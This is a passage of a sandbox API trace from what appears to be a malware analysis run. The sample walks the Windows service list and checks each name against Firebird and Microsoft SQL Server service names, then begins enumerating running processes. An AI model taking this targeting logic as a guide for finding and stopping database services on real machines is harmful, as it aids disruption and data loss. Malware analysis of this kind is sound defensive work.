	[0035.901] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0035.901] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0035.901] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0035.901] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0035.901] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0035.901] lstrlenW (lpString="BITS") returned 4
	[0035.901] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1
	[0035.901] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1
	[0035.901] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1
	[0035.901] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1
	[0035.901] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1
	[0035.901] lstrlenW (lpString="BrokerInfrastructure") returned 20
	[0035.901] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0035.901] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0035.901] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1
	[0035.901] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1
	[0035.901] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1
	[0035.901] lstrlenW (lpString="CDPSvc") returned 6
	[0035.901] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1
	[0035.901] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1
	[0035.901] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1
	[0035.901] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1
	[0035.901] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1
	[0035.901] lstrlenW (lpString="ClickToRunSvc") returned 13
	[0035.902] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0035.902] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0035.902] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1
	[0035.902] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1
	[0035.902] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1
	[0035.902] lstrlenW (lpString="CoreMessagingRegistrar") returned 22
	[0035.902] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0035.902] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0035.902] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1
	[0035.902] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1
	[0035.902] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1
	[0035.902] lstrlenW (lpString="CryptSvc") returned 8
	[0035.902] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0035.902] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0035.902] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0035.902] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0035.902] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0035.902] lstrlenW (lpString="DcomLaunch") returned 10
	[0035.902] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0035.902] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0035.902] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0035.902] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0035.902] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0035.902] lstrlenW (lpString="DeviceAssociationService") returned 24
	[0035.902] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0035.902] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0035.902] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1
	[0035.902] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1
	[0035.902] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1
	[0035.902] lstrlenW (lpString="Dhcp") returned 4
	[0035.902] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0035.902] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0035.902] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0035.902] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0035.902] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0035.902] lstrlenW (lpString="Dnscache") returned 8
	[0035.902] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0035.902] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0035.902] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0035.902] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0035.902] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0035.903] lstrlenW (lpString="DPS") returned 3
	[0035.903] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0035.903] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0035.903] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0035.903] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0035.903] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0035.903] lstrlenW (lpString="DusmSvc") returned 7
	[0035.903] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1
	[0035.903] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1
	[0035.903] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1
	[0035.903] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1
	[0035.903] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1
	[0035.903] lstrlenW (lpString="EventLog") returned 8
	[0035.903] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1
	[0035.903] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1
	[0035.903] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1
	[0035.903] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1
	[0035.903] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1
	[0035.903] lstrlenW (lpString="EventSystem") returned 11
	[0035.903] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0035.903] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0035.903] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0035.903] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0035.903] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0035.903] lstrlenW (lpString="FontCache") returned 9
	[0035.903] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1
	[0035.903] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1
	[0035.903] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1
	[0035.903] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1
	[0035.903] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1
	[0035.903] lstrlenW (lpString="gpsvc") returned 5
	[0035.903] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0035.903] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0035.903] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0035.903] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0035.903] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0035.903] lstrlenW (lpString="iphlpsvc") returned 8
	[0035.903] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0035.904] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0035.904] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0035.904] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0035.904] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0035.904] lstrlenW (lpString="KeyIso") returned 6
	[0035.904] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1
	[0035.904] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1
	[0035.904] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1
	[0035.904] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1
	[0035.904] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1
	[0035.904] lstrlenW (lpString="LanmanServer") returned 12
	[0035.904] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0035.904] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0035.904] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0035.904] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0035.904] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0035.904] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0035.904] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0035.904] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0035.904] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0035.904] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0035.904] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0035.904] lstrlenW (lpString="lfsvc") returned 5
	[0035.904] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1
	[0035.904] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1
	[0035.904] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1
	[0035.904] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1
	[0035.904] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1
	[0035.904] lstrlenW (lpString="lmhosts") returned 7
	[0035.904] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0035.904] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0035.904] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0035.904] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0035.904] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0035.904] lstrlenW (lpString="LSM") returned 3
	[0035.904] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1
	[0035.904] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1
	[0035.904] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1
	[0035.904] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1
	[0035.904] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1
	[0035.904] lstrlenW (lpString="MpsSvc") returned 6
	[0035.904] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0035.905] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0035.905] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0035.905] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0035.905] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0035.905] lstrlenW (lpString="NcbService") returned 10
	[0035.905] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1
	[0035.905] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1
	[0035.905] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1
	[0035.905] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1
	[0035.905] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1
	[0035.905] lstrlenW (lpString="netprofm") returned 8
	[0035.905] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0035.905] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0035.905] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0035.905] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0035.905] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0035.905] lstrlenW (lpString="NgcSvc") returned 6
	[0035.905] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1
	[0035.905] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1
	[0035.905] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1
	[0035.905] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1
	[0035.905] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1
	[0035.905] lstrlenW (lpString="NlaSvc") returned 6
	[0035.905] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0035.905] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0035.905] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0035.905] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0035.905] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0035.905] lstrlenW (lpString="nsi") returned 3
	[0035.905] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0035.905] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0035.905] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0035.905] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0035.905] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0035.905] lstrlenW (lpString="PcaSvc") returned 6
	[0035.905] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0035.905] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0035.905] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0035.906] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0035.906] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0035.906] lstrlenW (lpString="PlugPlay") returned 8
	[0035.906] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0035.906] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0035.906] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0035.906] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0035.906] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0035.906] lstrlenW (lpString="Power") returned 5
	[0035.906] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0035.906] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0035.906] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0035.906] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0035.906] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0035.906] lstrlenW (lpString="ProfSvc") returned 7
	[0035.906] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0035.906] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0035.906] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0035.906] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0035.906] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0035.906] lstrlenW (lpString="RpcEptMapper") returned 12
	[0035.906] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0035.906] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0035.906] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0035.906] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0035.906] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0035.906] lstrlenW (lpString="RpcSs") returned 5
	[0035.906] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0035.906] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0035.906] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0035.906] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0035.906] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0035.906] lstrlenW (lpString="SamSs") returned 5
	[0035.906] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0035.906] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0035.906] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0035.906] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0035.906] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0035.906] lstrlenW (lpString="Schedule") returned 8
	[0035.906] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0035.907] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0035.907] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0035.907] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0035.907] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0035.907] lstrlenW (lpString="SecurityHealthService") returned 21
	[0035.907] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0035.907] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0035.907] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1
	[0035.907] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1
	[0035.907] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1
	[0035.907] lstrlenW (lpString="SENS") returned 4
	[0035.907] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0035.907] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0035.907] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0035.907] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0035.907] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0035.907] lstrlenW (lpString="ShellHWDetection") returned 16
	[0035.907] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0035.907] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0035.907] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0035.907] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0035.907] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0035.907] lstrlenW (lpString="Spooler") returned 7
	[0035.907] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0035.907] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0035.907] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0035.907] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0035.907] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0035.907] lstrlenW (lpString="StateRepository") returned 15
	[0035.907] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1
	[0035.907] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1
	[0035.907] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1
	[0035.907] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1
	[0035.907] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1
	[0035.907] lstrlenW (lpString="SysMain") returned 7
	[0035.907] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0035.907] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0035.907] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0035.907] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0035.907] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1
	[0035.907] lstrlenW (lpString="SystemEventsBroker") returned 18
	[0035.908] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0035.908] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0035.908] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1
	[0035.908] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1
	[0035.908] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1
	[0035.908] lstrlenW (lpString="Themes") returned 6
	[0035.908] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0035.908] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0035.908] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0035.908] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0035.908] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x696ed0 | out: hHeap=0x650000) returned 1
	[0035.908] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x240
	[0035.915] Process32FirstW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0035.915] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6b, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0035.916] lstrlenW (lpString="System") returned 6
	[0035.916] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0035.917] lstrlenW (lpString="smss.exe") returned 8
	[0035.917] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0035.917] lstrlenW (lpString="csrss.exe") returned 9
	[0035.917] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0035.918] lstrlenW (lpString="wininit.exe") returned 11
	[0035.918] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0035.918] lstrlenW (lpString="csrss.exe") returned 9
	[0035.918] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0035.919] lstrlenW (lpString="winlogon.exe") returned 12
	[0035.919] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0035.920] lstrlenW (lpString="services.exe") returned 12
	[0035.920] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0035.920] lstrlenW (lpString="lsass.exe") returned 9
	[0035.920] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0035.921] lstrlenW (lpString="svchost.exe") returned 11
	[0035.921] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0035.921] lstrlenW (lpString="fontdrvhost.exe") returned 15
